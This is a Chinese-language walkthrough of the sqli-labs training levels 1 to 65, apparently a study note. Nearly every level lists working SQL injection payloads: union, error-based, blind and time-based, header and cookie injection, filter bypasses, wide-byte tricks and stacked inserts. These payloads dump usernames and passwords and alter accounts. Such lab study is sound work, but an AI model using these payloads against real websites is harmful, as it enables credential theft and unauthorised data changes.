基础
mysql数据库自带名称
information_schema:表示所有信息,包括库、表、列
information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_schema:数据库的名称
table_name:表名
column_name:列名
group_concat():显示所有查询到的数据
报错注入
extractvalue报错注入
extractvalue(XML_document,XPath_string)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)
updatexml报错注入
UPDATEXML (XML_document, XPath_string, new_value)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值,改变XML_document中符合XPATH_string的值
1-22
第一关
字符型
?id =1 and 1=2
页面正常,考虑是否有字符注入,先加单引号
可以看到提示,存在’ '包装,我们加上–+
?id=1’ --+
页面正常,可以判断存在单引号的注入问题。
接下来order by猜解字段
?id=1’ and 1=2 order by 4–+
当字段到4是回显错误,说明一共有3个字段。然后显示可显字段
?id=1’ and 1=2 union select 1,2,3–+
可显字段为2和3.然后查找数据库
?id=1’ and 1=2 union select 1,database(),3–+
查询表名:?id=1’ and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’–+
查询列名:?id=1’ and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=‘security’ and table_name=‘users’–+
查询数据:?id=1’ and 1=2 union select 1,username,password from users limit 0,1–+(采用limit 0,1,因为用group_concat()一次爆出多条数据,不方便查看相对应的用户名和密码,)
第二关
数字型
(除了不要单引号,其他和第一关相同)
?id=1 and 1=2 union select 1,username,password from users limit 0,1–+
第三关
闭合方式’)
(第一关加括号闭合)
?id=1’) and 1=2 union select 1,username,password from users limit 0,1–+
第四关
闭合方式")
?id=1") and 1=2 union select 1,username,password from users limit 1,1–+
第五关 报错注入
无回显
使用updatexml报错(Floor()报错)
数据库名
?id=1’ and 1=2 and updatexml(1,concat(0x7e,database(),0x7e),1) --+
表名
?id=1’ and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(table_name)),0x7e) from information_schema.tables where table_schema=‘security’),0x7e),1) --+
列名
?id=1’ and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(column_name)),0x7e) from information_schema.columns where table_schema=‘security’ and table_name=‘users’),0x7e),1) --+
数据
?id=1’ and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(username)),0x7e) from users),0x7e),1)–+
?id=1’ and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(password)),0x7e) from users),0x7e),1)–+
第六关
闭合方式"
(其他同第五关)
?id=1" and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(password)),0x7e) from users),0x7e),1)–+
第七关
单引号异常 双引号正常 则表示闭合方式为’
?id=1’)) --+正常
闭合方式为1’))
盲注/上传木马
第八关
先判断闭合方式 再盲注
?id=1’ and length(database())=8 --+
判断数据库名第一位 以此类推
?id=1and left(database(),1)>‘r’–+ 正常
?id=1and left(database(),1)>‘s’–+ 异常 表示第一位为s
判断表名第一位 以此类推
然后猜解表名(ascii)
第一个表的第一个字符:?id=1’and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>101–+
第一个表的第二个字符:?id=1’and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>109–+
第二个表的第一个字符:?id=1’and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>114–+
继续猜解指定表下的列名(regexp注入)
users表下的列名?id=1’and 1=(select 1 from information_schema.columns where table_name=‘users’ and table_name regexp ‘^us[a-z]’ limit 0,1)–+ 猜users表下是否存在有us[a-z]]样式的列名
第九关
时间盲注
数据库名
?id=1’ and If(ascii(substr(database(),1,1))=115,1,sleep(5))–+ 正确则马上执行 错误则延时5s
表名
?id=1’and If(ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))=101,1,sleep(5))–+
第十关
闭合改为"
其他同第九关
?id=1" and If(ascii(substr(database(),1,1))=115,1,sleep(5))–+、
第十一关
之前为get注入,从这开始post注入
使用burpsuite抓包重放
uname=11’ order by 2–+&passwd=11&submit=Submit
uname=11’ union select database(),user()–+&passwd=11&submit=Submit
uname=11’ union select username,password from users limit 1,1–+&passwd=11&submit=Submit
第十二关
闭合方式为")
其他同第十一关
uname=12") order by 2–+&passwd=1&submit=Submit
uname=12") union select database(),user()–+&passwd=11&submit=Submit
uname=12") union select username,password from users limit 1,1–+&passwd=11&submit=Submit
第十三关
十三关和十二关差不多,只需要将双引号换成单引号。
第十四关
十四关和十一关差不多,只需要将单引号换成双引号。
第十五关
第十五关和十一关一样,只是不产生报错信息。
闭合方式’
这就是明显的布尔盲注。因为还有错误页面和正确页面进行参考
第十六关
第十六关和十二关一样,需要布尔盲注。闭合方式")
第十七关
报错注入
密码处注入
1’ and (extractvalue(1,concat(0x5c,database(),0x5c)))#
1’ and (updatexml(1,concat(0x5c,database(),0x5c),1))#
第十八关
正确密码,ua头中注入
1’ and extractvalue(1,concat(0x7e,(select group_concat(username,password) from users),0x7e)) and ‘1’='1
第十九关
Referer: 1’ and (updatexml(1,concat(0x5c,database(),0x5c),1)) and ‘1’='1
1’ and extractvalue(1,concat(0x7e,(select group_concat(username,password) from users),0x7e)) and ‘1’='1
第二十关
Cookie: uname=Dumb’ and extractvalue(1,concat(0x7e,(select group_concat(username,password) from users),0x7e))#
第二十一关
20+闭合方式’)+base64加密
') and updatexml (1,concat(0x5c,(select group_concat(username,password) from users),0x5c),1)#
JykgYW5kIHVwZGF0ZXhtbCAoMSxjb25jYXQoMHg1Yywoc2VsZWN0IGdyb3VwX2NvbmNhdCh1c2VybmFtZSxwYXNzd29yZCkgZnJvbSB1c2VycyksMHg1YyksMSkj
第二十二关
20+闭合方式"+base64
1" and updatexml (1,concat(0x5c,(select group_concat(username,password) from users),0x5c),1)#
MSIgYW5kIHVwZGF0ZXhtbCAoMSxjb25jYXQoMHg1Yywoc2VsZWN0IGdyb3VwX2NvbmNhdCh1c2VybmFtZSxwYXNzd29yZCkgZnJvbSB1c2VycyksMHg1YyksMSkj
23-38
第二十三关
?id=-1’ union select 1,database(),3 or ‘1’='1
注释符被过滤 需要用’1’='1来闭合
不能用order by判断位数 需要用-1 union 1,2,3判断
?id=-1’ union select 1,(select group_concat(password,username) from users),3 or ‘1’='1
第二十四关
越权更改用户密码
注册一个带有闭合的账号
admin’# 登录修改密码从而更改admin的密码
第二十五关
二次注入 过滤and or 替换为空
?id=-2’ union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema=‘security’–+
?id=-1’ union select 1,(select group_concat(passwoorrd,username) from users),3–+
25-a
数字型
?id=-1 union select 1,(select group_concat(passwoorrd,username) from users),3–+
第二十六关
过滤空格 OR AND
报错注入
?id=1’||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=‘security’))),1))||'0
?id=1’||(updatexml(1,concat(0x7e,(select(group_concat(passwoorrd,username))from(users))),1))||'0
26-a
26+报错过滤
闭合方式’)
?id=1’)union%90select(1),(select(group_concat(id,‘‘,username,’’,passwoorrd))from(security.users)),3||('1
第二十七关
过滤select和union 报错注入 重写绕过
?id=1’or(updatexml(1,concat(0x7e,(selselselectectect(group_concat(table_name))from(information_schema.tables)where(table_schema=‘security’))),1))or’0
27-a
闭合方式" 且 不显示报错
大小写绕过 重写绕过 id需要定位
?id=0"%0Auniunionon%0AseleSelectct%0A1,username,password%0Afrom%0ausers%0awhere%0Aid=2%0aand%0A"1
第二十八关
闭合’) 重写绕过
?id=0’)uni union%0Aselecton%0Aselect%0A1,2,group_concat(password,username)from%0Ausers%0Awhere%0aid=2%0aand%0A('1
28-a
只过滤union和select
?id=0’)uniunion%0Aselecton%0Aselect%0A1,2,group_concat(password,username)from%0Ausers%0Awhere%0aid=2%0aand%0A('1
第二十九关
?id=-1’ union select 1,username,password from users limit 1,1–+
接受第一个id在第二个id处可执行注入语句
?id=1&id=-2%27%20union%20select%201,group_concat(password,username),3%20from%20users–+
第三十关
同上 单引号%27改双引号改%22
id=1&id=-1%22%20union%20select%201,group_concat(password,username),3%20from%20users–+
第三十一关
?id=-1") union select 1,username,password from users where id=2–+
同上闭合方式")
/?id=1&id=-2") union select 1,group_concat(username,password),3 from users–+
第三十二关
过滤/ ’ " 宽字节注入将转义符替换
?id=-1%df%27%20union%20select%201,group_concat(username,password),3 from users%20–+
第三十三关
同上
?id=-1%df%27%20union%20select%201,group_concat(username,password),3 from users%20–+
第三十四关
post宽字节注入
uname=1%df’ union%20select%201,group_concat(username,password) from users%20–+&passwd=1&submit=Submit
第三十五关
常规思路直接拿
?id=-1 union select 1,group_concat(username,password),3 from users#
存在转义 字段转成十六进制
?id=-1%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name=0x7573657273–+ 爆字段
第三十六关
使用mysql_real_escape_string函数对于特殊字符进行转义
宽字节注入
?id=-1%df%27%20union%20select%201,group_concat(password,username),3%20from%20users–+
第三十七关
同上 POST宽字节注入
uname=1%df%27 union select group_concat(username,password),2 from users–+&passwd=1&submit=Submit
第三十八关
正常单引号
?id=-1’ union select 1,2,(select group_concat(username,password) from users)b–+
38-53
第三十八关
存在堆叠注入,因为存在mysqli_multi_query函数,该函数支持多条sql语句同时进行。
?id=1’;insert into users(id,username,password) values (‘38’,‘less38’,‘hello’)–+
第三十九关
同上数字型
第四十关
闭合’)
第四十一关
同39
第四十二关
user转义
password未处理
堆叠注入
login_user=1&login_password=1’;insert into users(id,username,password) values (‘39’,‘less30’,‘123456’)–+&mysubmit=Login
第四十三关
同42 闭合’)
第四十四关
同42
第四十五关
同43
第四十六关
预编译语句
sort为order by 的参数值
存在报错注入
?sort=1 and (updatexml(1,concat(0x5c,(select group_concat(password,username) from users),0x5c),1))
第四十七关
多了单引号 需要注释–+
/?sort=1’ and (updatexml(1,concat(0x5c,(select group_concat(password,username) from users),0x5c),1))–+
第四十八关
同46 延时注入
第四十九关
同47延时注入
第五十关
同46 + 堆叠注入
第五十一关
该参数单引号闭合,可以报错注入,可以延时注入,可以堆叠注入。
第五十二关
该参数是整数型,且没有报错显示,只能堆叠注入或者延时注入。
第五十三关
该参数是字符型,单引号闭合,没有报错显示,可以使用堆叠注入和延时注入。
54-65挑战
第五十四关
随机表名随机列名 10次机会 单引号闭合
第五十五关
随机表名随机列名 14次机会 括号闭合
第五十六关
五十六关和前面两关类似需要单引号和括号。
第五十七关
双引号闭合
第五十八关
变体 单引号报错注入 不从数据库拿答案
?id=1’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘challenges’),0x7e),1)–+
?id=1’ and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘3M6DFYO6BE’),0x7e),1)–+
?id=1’ and updatexml(1,concat(0x7e,(select group_concat(secret_225I) from challenges.3M6DFYO6BE),0x7e),1)–+
第五十九关
和五十八关一样使用报错注入,id是整数型。
第六十关
六十关根据报错信息可知id参数是双引号加括号。
第六十一关
六十一关根据报错信息可知id参数是单引号加两个括号。
第六十二关
没有报错显示,可以使用布尔盲注和时间注入。id参数是单引号加括号。
第六十三关
没有报错显示,可以使用布尔盲注和时间注入。id参数是单引号。
第六十四关
和前面两关一样,id参数是两个括号的整数型。
六十五关
和前面关卡差不多,id参数是一个括号的整数型。